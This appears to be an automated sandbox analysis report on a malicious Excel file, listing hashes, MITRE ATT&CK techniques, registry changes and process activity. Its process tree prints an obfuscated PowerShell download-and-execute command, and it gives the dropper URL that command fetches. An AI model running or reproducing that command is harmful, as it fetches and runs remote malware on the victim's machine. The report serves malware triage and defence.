6574309e9e7c496936683f6375b8ae940039249fb2b550d55ca914ea0daabf8f

General

Target
493674902257.xls
Size 287KB
Sample201109-vkk82tmlna
SHA256 6574309e9e7c496936683f6375b8ae940039249fb2b550d55ca914ea0daabf8f
MD5 6f4e93bc242138c0cc64d233cda82998
SHA1 56cb2a15a40f96a66647d86990090708e48f7f09
SHA512 e431c8f787e59569734c3185758e568607501be021a944e0696349a51175ef8027e6294cfcd6902659214b4dcb7cd74107364ffd7a70680da51cf0753114f00e
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://brutecleaner.com/Sheet.ps1

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1928	1588	powershell.exe	24

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1588	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1928	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1928	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1588	EXCEL.EXE
1588	EXCEL.EXE
1588	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1588 wrote to memory of 1928	1588	EXCEL.EXE	26
PID 1588 wrote to memory of 1928	1588	EXCEL.EXE	26
PID 1588 wrote to memory of 1928	1588	EXCEL.EXE	26
PID 1588 wrote to memory of 1928	1588	EXCEL.EXE	26

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\493674902257.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1588
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnloadsTrInG'('ht'+'tp://brutecleaner.com/Sheet.ps1')
  2⤵
  - Process spawned unexpected child process
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1928

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1928-1-0x000000006C950000-0x000000006D03E000-memory.dmp

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memory/1928-2-0x0000000002470000-0x0000000002471000-memory.dmp

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memory/1928-3-0x0000000004810000-0x0000000004811000-memory.dmp

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memory/1928-4-0x00000000025A0000-0x00000000025A1000-memory.dmp

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memory/1928-5-0x0000000005240000-0x0000000005241000-memory.dmp

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memory/1928-8-0x0000000005650000-0x0000000005651000-memory.dmp

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memory/1928-13-0x00000000056D0000-0x00000000056D1000-memory.dmp

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memory/1928-14-0x0000000006380000-0x0000000006381000-memory.dmp

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memory/1928-21-0x0000000006410000-0x0000000006411000-memory.dmp

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memory/1928-22-0x0000000006610000-0x0000000006611000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads